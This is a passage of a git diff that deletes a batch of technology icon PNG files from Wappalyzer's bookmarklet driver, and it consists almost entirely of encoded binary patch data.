z1<^Op;W##xY8?TfTSc}C8RYyKm=YW>PSDzG6J39jgVY6vE9YQR!1M`%AJ1~nT|h}| z3g-VZ>yNsNF7N#F0NWF`0m{e=^xPp>W*(?0OVd?@qWeab6lW_L&IL*S#Xhw;p z)ePmLM#EXgFf1}^mLLdX!0zr2N=8G?IVkHJ^s<-WvVbYUQTjvFe343}g5{LR>NZ>D zD#PLM?->L5{XU&ehh!#4+rCLScZTuO>ueTttmjRnlz-iSK2*J4Cz;Byb6Np_Rw?T~8t}%HO}!whM*^VPtP=;0 zT-p)$65YNz0%$TPud1RfXG@m`GoBQPiX!1yRVWlHyD=v2w?Kh0<66X}1wx@v$zSh% zb}uJO+O-Y6hGmq5O0FeMJ6D#s$EsV8e)(Y3uDm;03(`s|a+Vo%EL3#nyNs+)vM$}J zD9Y%d-lPjvWlwJWH{n!KLEzjwHAKXuoCs6}{z=$z<-w_xmC;00000NkvXXu0mjf9aWYm diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ManyContacts.png b/Wappalyzer/drivers/bookmarklet/images/icons/ManyContacts.png deleted file mode 100644 index 570450fe564a921d727af76d3147d9be0099c74f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 371 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 Vu&2)IZ=(PJ002ovPDHLkV1jr(=?4G+ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MaxSite CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/MaxSite CMS.png deleted file mode 100644 index 1bc62b64f12559f657e9aa965bf6a5fa1c5d3994..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 772 zcmV+f1N;1mP)8l+^|qX(kpCpiv5Z1L*F9B_fL?7`c!VBQaUV*li^3Atx7_ z>BC0$^ z`t?l|(1^oxc{GbNNylkhljrYUdA5%?^5RDY4!)e=#JvQUWhh0Jv!q-g$=3B*G>hhN zYt}DmUzfwlW}bh$z#GS#_+lT4(~pz6D!pl{tdLMbF<`qA(~`$el+aor|vF(ThoAh6CC+~=;Ol?^RJP+@&t{4 z%1DMPON8ZNVk~Fyu~r7cOX&$_`*w1us{?l~;?z{c*?olbFOa&hh13-pN>L>SXn;21 zvmI>UkHRr#yUSEoZ)BlwF>cD>!{8QzUxx|DgqRvlp(!+v=i9g|@q1^56H8~<-}x@1 z%f@+T$uhq85egol*|%u&95FRoN1^9c3O%y4QwA4ZX*c$V$)Cp^u%@CPL> zmuXS5N<`HHCW*VQ(^vY2;v%C^W5KkgTdfp{XJaG4f1pDL3W8jFCA$m6a#8zjmX`0liNQ(PVaPu z{^R@EFg1a;;=zVhmniI!Gz`Z|tR$6?n$OIVUvZ6u81Xh{t1C2g7b;vUji3OQ#6twRH9G)LQ` zQ?wMN{UK=`l+FjPi3typwL-m;q*6?vNi>Zn_}_n}1CoJHzU~c6wn`NSP zY|;F4T;~$B7EP5t7x2U*MQ+}M^aJW=8TuueE~PURml&De+gJJrsF%Uh)z4*}Q$iB} Dxl|zo diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MediaTomb.png b/Wappalyzer/drivers/bookmarklet/images/icons/MediaTomb.png deleted file mode 100644 index 537b6f99c0cce2b7a01bc8a0500bf8738a43d5b3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 995 zcmV<9104K`P)kdg000B3NklBX7Z!sUS_&=k3`MQB-R<_h-LLQG^^67p06*>?`*_{wquqWB1^}>k#)+*TjLh3EA}H4_+cfxL9<>GlGyq`VcUOP3ySqUXK}3{@a^0m& zo%ARGG=SUM{oT3qH+|?99fAl-6iSJ*Wc=cRyI$=DXaI-iubjX2z>S)qiHM*?i4rBo zuKs)Wu8qqA1Ay+r-uKS6O*8{EG)({y#L(2vt4HebQpy0>^_SZ}IMrJC=Him3{dZ7(8aKc0G@t7$m%-QZ~%ZShVKIrv&fA@27 zgUv7aZR7Tp{d1iTk9ZhdF=GZi;RTo6?UZO@V&bBsCQAHw!?x~@Lv0QwzU^Tb6z0u% z2OM+1cUyDPac^su9d}d@!f1H7TR*%5vET?+Jqh@Q*U@>uWp7&ajuM;`0NYFsce#63 z5YRm5kKmf0f#^UdqRawdo7~gYzG*}NOh6PM3K6C3Hg8J6Q0?own<)_h0Zjlw5D{h0 zZnqkNc5~MfQ35CpL_m}%5fM$Wr8G3dx?CWD2q*v%5v3Pp)fE#ZBA131*NqTB1Q0-J zBBI0_dJz#@+UuS3W2FQTKoo$8D5Y$QD8#z<*KYXIs)z!;Ee#OCMB$1>y;3$s5V3Cf zV)ynxvlIiTl-`GZ#V14@^EFJ|>m&YU#W&5HnDHH*h`@OBm5$-DWvgB>(c5srHNA4t zqKV$RbE3DV>2>DyB4TXxjggMw?^hlxR-s;HNW#~Pk73@uX+`|)1K1&!6_vu z*C(^j%xbXrV|Dfx@c}P+4|aIVl8J$XUe-iJJm8EbqFFNYDQ9TF!kHUCxm`?qm$7AA zAOa$SiB1sLt)2A%G=TYw3-6mYEw(fe5JV6W5nEPXa{y=n4-KFH&(8Ug1|T2^B7)d3 zzWSM6Hh~7f!KtM`b@$!`fPf$f;;Q=FzWZzfGyq`N(f*e+W)Tn&z}SYt*F6aU4FG_J z$LmX@JtG566A=>|*54XF;}HOW1^@u;KeY0#{)@H46t>#R@Y$U|^$!35_&?@!?@<7i REM@=z002ovPDHLkV1kOM%{~AC diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MediaWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/MediaWiki.png deleted file mode 100644 index d976ea5da102a7b81709e3657aeacff331519394..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2244 zcmV;#2s`(QP)6F@O1BE`UmLNd+fC3WHVlW0tjG?9y11L(21~Dc8YKYYj zmMT!BkODMFfq_A)YG3ZX#J_)B)Ov%mcR zSu1O=wKx|3c`wwAI`)219E{xg?0XH>1%afSv zvpE*8UC9NXXyB!X`6EZrtfmAoj)PGL&HEq;I8DT9g9Er0@{(z$lL z*vVusgHE2#O>LJ=z`9Q~Fka=A*H{W$lmzme%cQhZm!^E0PJ-A7abid- zcrmy;y~L+;}*`oK~4h_j=<$3D1iec+qQF&>+oXNR5V@SYOT}G zrl4Jitb*r2)CA)}P9U=2`yg#dT!?+J25~Hm?%@}m9+zx;8c}7@gUk7y6xiwlyz~f{ z6$^aL%`)5fm?HwM8gKS?@|(c{o(QU(=cFL(;-wRa6NqCl3Sk|bJoqlC1Uk)A)THV{njq1DSRrvknX}T>u_f$w?>7mZInjQ|m@9fY6_85ef+ zqqB<0-hPro8lnL8Q;3&C%Euw(5Z42nhbWC|6KN+98c0B+5DDsRX)6m341i&RcYrgV zT+5wXU&QU-f-|rcxAHDddjQPNu5MnCe07j@Pi&edyQ# zn$#iHM2teHki-B;y}?Rg!H27W%df^?aveXPGL;|omU+JCI4E~PzJxdh)CeSFux}el zM;6yu%=icr<{AW<79?3#@r%BhSn~oyDb2{?MJr;(-M#U}6VEP|t%P00SJVqCp;QI0!x% zaEGdBScU1`7{;;Ifo2TNHiQP^gpQy|sU7iXBj9E6dGg3I9BjTPx5r~TGO(SSdwNJ` zQdmz(QXUf5G5vcXtbxQxBf(ZvNYewypn*k;86-|n>mVivv>}%TvBW{Z@p<_DRGZAWXzZQyQT{jHCse?`o}j%j?i&_g#qsvZE;8jww)zCpzT z!TZ7#9V9&t`5KaPAPCXV&4Q$bAP_5rSxUKHUQH>N9km_L=pldAqSkwb$@~ORF-W_C z$_S7keJ4Wa6pV49w}dfuY`%sT8fZt1Eu=6(3)DwqgK@i{5rZhCEJUEWURIP!Jgq6| zi`7XL(}?`_c9>V@w$4s2bzGc67WK_UEoaj>*&;XzYTMumGPDUs_k(1hRfEIBXh#ki zI}F{k(XMVN&q4O@M$4Z^S{|e`s0PT+1KgF)@=Z5QRxN|I!#r+sO=gAxd-v~@1(jjx z-M*PSMuri$0|y@~3Dj#?d^FCW{}Jh(2ZbCORG_N^Y1Yu5xzO1OeRIKa(7rFgp4U-V zAZmlAp{K}hpbN+VGk_}$&|e+p36s}fhOr(fmRS;6ULV`Xa;rq6RpLx`LOc$!+KH4- zfT?F9^S_1dJq4!Dhj}NXxdI|tAP?FBCw>_jeuw1HyU=KWm*+Y^;M*V74L1RoOdM#A zv8X(Qb>rhufJE~Uh1jeQ)?#7-O(R}6X5av8=bp(021EmhTtsu&sET@%kiLaDK?Oa$ zho?fzGUGAF`?z`FjpwA;aUAP{I>Ys09?o=Ok~ZSGNZa7H>S()wBtEDMUWrvn5i41w z<9M{zf}{n~4V6Jinvlt(ee*fHvzyC-rF@)$IScizkwYv6%B88yZzM?ErWq$V^#EyF zTCsnO8UfMR0Pk8@G`g27j~0Q=zyW~5RL&bd%nIN_QY;?W&(DA@<4tNwh}H$E46)^& zRSXS{AU2B`K15QjBk3&r8ed2%n&h%V102x(kKotT*12i$_N|38-w}LAhR~ z)sfR3H>_|CV1e*h7n5DUY9Vj8(Yy2(wT3@8Ht0Dtm$cv2h-nIfZk9;n`;$ zUl={Ws!Ps^i~sd*2rxRzv%B8qG~l;+_WTZKmw?r^|Oj^8;`vf0zS2E-5$(mm5BFmkMf;ZXTWP8xzbZPE+ c2Ym*HJw_WixaRJv1e(d<>FVdQ&MBb@0A80Vga7~l diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Methode.png b/Wappalyzer/drivers/bookmarklet/images/icons/Methode.png deleted file mode 100644 index a27455ce22c6954ab60bbad618d79c567213882c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 833 zcmV-H1HSx;P)9m~!3RJ5_n!aU!+ii$@E`(|ABiD;R%fhK z=iHQN8MA(HA-mP?{@TJUm*L;vUx8|Z1yX-N(fA>%c7i>iv3@V=dbQr}TwzIo6Nx84 z_?nnyf0J!FV5dMYkYOeV!$3AmE;=MyyDM7f_(d*^X1jZh8ZCr`&azg=N|@2QRO@Z$N**COQ^WQ7JxSA>P`}xndO1L7oVSsbIhag z&bcP3bb#m-X{?osI#+b<;KK9V_Sy4cg+m~CXdhqWNN97eINBWUZ#0`x_h`{qpllP; z7$bq|dxcT@@hWjS!^kS_!3L{a*)zRmq&onaJT6f^rTLR)Tc@yMsSw0Pnaakx}n9s$O`7Fu+;KirgPq>a|}df zL6lE1y%Yd>?HMR;8h|9RqNFFQc3@5k04VF9PcQDB+tT#Svnun<7o}-Njld!h0wCiQ zpt=jB>w$A|VMRlig4F%~6+N>-9h2*q0RWNZ)`t;gR#vKICNgeVgy}Vda`@yn0BKLC zxtxfl^ATy41H@rTrTq}O=A5UQY;Fc$n}dzG_W{W{}!=CxzRIsB+bMB#!6q@4(-%>)s~T|WNv6DeIl&fZ;(+mK*J zF!*X7jlrW0+-I;Xf#7WykQG%GiCmz-0{zo! diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft ASP.NET.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft ASP.NET.png deleted file mode 100644 index 471760a89d5221b55f3c74ba72719c0c1d76c061..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1058 zcmV+-1l{|IP)uVx(W~|?}G{m1SA4U z!s<>Gu^=Q6O0`{6wpMqXb!VO3o!OZ=XU^;M>nd<+?K)^af5C_Uy`G+)9>wFFuDYzP zzd+l2oiq&@EzDz^E{n@0eqVfo{(+d;*_-Sfy@qMc0V!KqZ%rfm7*Y5#Ywck~Tnyt5 zd#B#RHr6e+@=d$Qoy8Nh+Q&!|g%-twje9KLZ%|*~jcXc2Elsu7!gVe&Gx9A_avn%{ zRKwqg=u_z6Ia+>)REH=a){YQG zAOfaYX3zM~IQly#CZ{o-cX?1AMJYjaKbEn97w#eFywnw_wa0)bF_cTa(?kTo!*Z@s z$Z51J0dxm~_-Quk@8EkmLz)VBk+F|3w0(t6Cr=dTL4-KSV+?vEav0M% z1*8B72Qg?8#5O?`Afhm>1@f5y*IooV-GOg5bClPPQmc&;N05rJbNV5J1Gi|{UjZ;= zE-=t{m!LSz>S`Wk2w|K@>pCJkK%N7x0sy-ZaoF^PG!>MJv8@VOtIBG94xl^Whlg0H zJ&)JUAzCOEJ;p~eXnh4c(g4KHJ<>ELoAD6|2?GbEEL!btxORe4uL4)`<58f4=Z(>9 zMJS~(%mx`}gCM*N&>i@Cqrh_G0M*I_ajdb;lzn@)A+myD+~qG}5)j8N4CRx}CN!Eh zNuShKV|j!1%tVyL)8n%=+_tWuR1kJ7)hbUHL z-9=3wis&L2@xv383JJEQX?rGNXfQR=kJqVVS+9}C zhpAL1h$2u*QyS^8x%mZ9r5lQ~8~x1vc9OZmgc0akxV!_c8DZTd;`Y-9*VDI)RO0q}Z;*_Cg5i zLy$6CiIUH$ZNA8^(E~g)3)km0f0PX(rPyrtvD``V+Ag_#3yd>-cH~nYLvecfI5%&- z&$SyqgQYT0&CauP>;iC!e=}d1A?LipRH?}2pAsTdP!`025Vs8oghKIG?7r`TkpHTl co}QjR0qF_sywKIG0{{R307*qoM6N<$g5a#^@Bjb+ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft HTTPAPI.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft HTTPAPI.png deleted file mode 100644 index deabbd57e1a0326e7d727a418234c187ad767bb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 157 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=ffJ6i*k&kcwMx&u!#va1e00xbkS% zn-gg{PS!@BCfM?rMTqL%I&;yX!0ykV#MiqO%D1#hI_3#DFfg(RI5g-p%&GBbP}d8P zxV|9&XiGvp(+6<|wFU+z4uu2n8NV_~RC+S(uC$Hk+tReI@~?T@JD`0Gp00i_>zopr E03(4lGynhq diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft SharePoint.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft SharePoint.png deleted file mode 100644 index b8d6f9bf32cf17e7a106093433350d5b6e902c89..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 753 zcmV0p>#moQ5sX zA?maKd2Yal9bq`kg4M7OuEI0;2n~>i3>?l{01LaqU>K#%*1;jT46op~HVL9Kj)3Fv z5Z=L8_!(itoC^4!#fF{&pcgEF^)LszMG^2NM*=KKcft?l#y8lWPXS%vr0aK!?!N*- zv}hXKQ6viw}tzZ;TTv5yJ4PkphRU9W<<$W6LM^BW&KnRTO4LY=2)d#Sm1cb z#vmioJp*Bf?0AzUu}b-Y=7aJmR@|cVS!(@2J>WpV=FWj6<*KCnI#RRn4R+7}bi-z; zt`G5muy%Y4X4{nAUIWRB_MC_sy;^Wv4y7r_aoG_bbtbZ(fVv!x<%2Ymr}Q>e7-cHH zrZ=Ekg)Ecr7n1=n0w!zv*#qa`aY*UqMnHgdS~#cLSPk3Yl0;RjJkxC|z$KY jcA2`{5x6JI&Pu=^qog3HDoGzD00000NkvXXu0mjf4m4PU diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MiniBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MiniBB.png deleted file mode 100644 index b60ad71b686a3c15ceb4b8b02905bb795869c69a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!93?!50ihlx9oB=)|u0Wb0Z6-tCr5P=U?SO2? zk|4ie28U-i(tsRePZ!4!j_b(@42_+-!Z8vtGBGj|GBI;v8d{i*7}I jTr!%nIE2J?xS1GixOmyJ-=BR1)Xw1P>gTe~DWM4fY1$z% diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MiniServ.png b/Wappalyzer/drivers/bookmarklet/images/icons/MiniServ.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mint.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mint.png deleted file mode 100644 index 888004275ae0b98b58f68d495b5d26dde5e10c5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 348 zcmV-i0i*tjP)Y!X|MbIEbPY2PC9J-kgB2~ik~!~G%8|PZQ8dihAGhjeHZDCt zwB%AcL=Q~EzPM$VGVo{sBA`7$w;?nvIhVftN+uo+K(_(?gQ8)Gb&)WjVz$Qr5_g_O+>ES~P4KhbB^p*{w*#Q5OVr4@(U8kdIDEexud u?O!_GuVQBS^bHMr&#wLY{WBtI5Dx$lc`Sp+VJiy&0000jy-0+kwCMSZENR%&1S(!U|? zQ=d|yMipt5R66Wk)!)zoZW+t#_Nscq$A=Y$kM|CfOg3aU{7HH*!>S*a%ns3BHURTv0! zu<_~W&u0hT{qV;1!C@FxEh$-7-jEqQ%xHuP2sLIxUtgPsX;n&AEUjHpUt1jpu^P-4 zXTz4|H7$)b8E4)+=ru^4y71|-ll_x3X&UP?%w|Ltm3PFd&^1;EFd9W*OhdM}*B;)p zeoIr$YkN2Uyl?AI`nLA%=xAM%TKiP}55Cs*v%a1my*yuOUy@BH2sC-TXM6ki4|KUu zg;8JchVMMnmXTQD60$0l?B3XXsJC-@UDg`~fQW7BSha84xPF ze#5$@)!9Hm#NHAWbrCXuIB{WUWc={Hr#G%#T$|RuU0WR8@ec;>J)9*|0?;5v#Bp@` z!qv}m(=JSnO%?7x9D6h|^N){j50B4EI(u_ua%LvKD4Pm}FfmXmG_TNGkCLPBpHI2q z^_RAPb7%XSry7r+8#sS$#7SW41wioui@eTnP8bF(C*G!J^10~(T|ky9gu$$w*2-du zOI^A%`MZ<-Ygabx-nQ<-z|e_HLy4qG2vh*DcqL$@AyI-PJP^StNwZ2BwtyC0Oeul+ zlqEFeM#sf*QFT=k>3ohuafBHmfC)U|1V)$=ic+Hl2`E7$OAcbiTJdI}Co($cEm)SZ z?|r>ze7118e{k!j70+*JjS3N%z)S$JtYIwa0#+Uv5(dCfhLv>zm@{9HDr$V>h3>ZI z#lL;;{IN6FX6Jlg@49u(Ss%wRWQu8EHfo2Anp^Pm66!-AJGab)vS$+1( z;F&9IY3rhN=grNgi-e$mwIOoW+8eoBQP8>l%MI;QU2 zksrJ}di(xlVgc!rBpI8Y9k_9O=r13iskN|S(qvskGP z5~z3qP*epHs(>&j<$$Td6QY1I@kGfIB^Q(tC}0W+OsQTBP>NW(K8=@qSN!-}+g|Bi z-B?2aVx^R7B1nWn3IjFq778@&LouT%%leK$V4zVU&S0Q-K>#2Imu37<5AW?>)d(26 z+PAG~{>{5*Z;#Un0hrFUHKg}%-~e*gd)&50-Tmws-SQJkixEx zrA74^O2DsfZQ9YjDUM?RYF3-#k(YM9^6aMl+c&&^u(z&?W&&Ca2@pNs)%@MPotZFE zvjpO)s6aqabXZ!S#R8%+R=$b*T&ySeFt&&Tn(k8jS*6$mKc z%o3#E{L|TEAAB-+d&)T%nuaE*;0YlN7GJzGee&|qCqEca)kgCfw^M*FW<}^|L{7boK`dZCp@??2NqMRIrrR#)~1HK z;j!r}gZHOrHK3q~QoLyrCkA9(03pQY0SH1t0zu^VUm$NG*^j^}ym1i|DY+M4A_O^L zBb(w?JcSO>vgTzRl$6-G>H?SpK=?SjsyI=GeXf@m|I#2I2E>zIRmq-xQZD-g$o>z) zV0OLSA|P85UEfJIm1Wo*un(9JL3j(B;y0X@0u8K%Swbv+Q7L;L-5ijG=ng=}$JkZ5 zaXFypL#^C@QXK)s`nb{q%wl*u0arADf*j-k82(DSBeIbkAcgDz82dE4sxiJO5QbU) zqEZGJ*D~aU#3Up~SRq*q^0_d<#0N42*#QsBq`_=bLgRg{+!mO5K#OCKvMKK)IxC@v z0LTF_{Dn+MkPJXs@Ke2<=A$xcU33gIJe358_|vSB49b4^EPquccbMiab)ZF-*erim xA^U=^9VSru0kiyRh3q?qfdVv*^HD%c004;DyBlW#9v1)r002ovPDHLkV1gWc8fyRm diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MochiKit.png b/Wappalyzer/drivers/bookmarklet/images/icons/MochiKit.png deleted file mode 100644 index bc3e15efa106535e031149a02735c5b2993cbbb3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 535 zcmV+y0_gpTP)XrYm04A^8z zsA*_3wtb!NvAZ^Qv!|Xqzn;&z=bY~q2zXQ_6c!Oz64w)#2=Y}^LxWZ(kzA4xWLhqj zhSgnNu8Z^YBEB69npt*_3lIp54G)81auPaPThpKxiR5j~;SlHA`5?6uc=q?<;bj{F z&&$-<4&L2?R->ViMuz#?ak-dum}QtLoM@NJ;UyHJp_QYGEaTW`JOLAVi1vJ3Gr6&V)pxQF=UFzht+M;wnQCey!RtPxx*WmyRL z{hbt`(`d@LO55Dn;0==i4W=&Lo2~;CInM+KA#FJHcpw}OLo619Q?C~+W;4`?M09?j zzduC6<$uZftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Modernizr.png b/Wappalyzer/drivers/bookmarklet/images/icons/Modernizr.png deleted file mode 100644 index 41a2b0db42e9f8aa3b74d1ce242febc7d27c0067..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 112 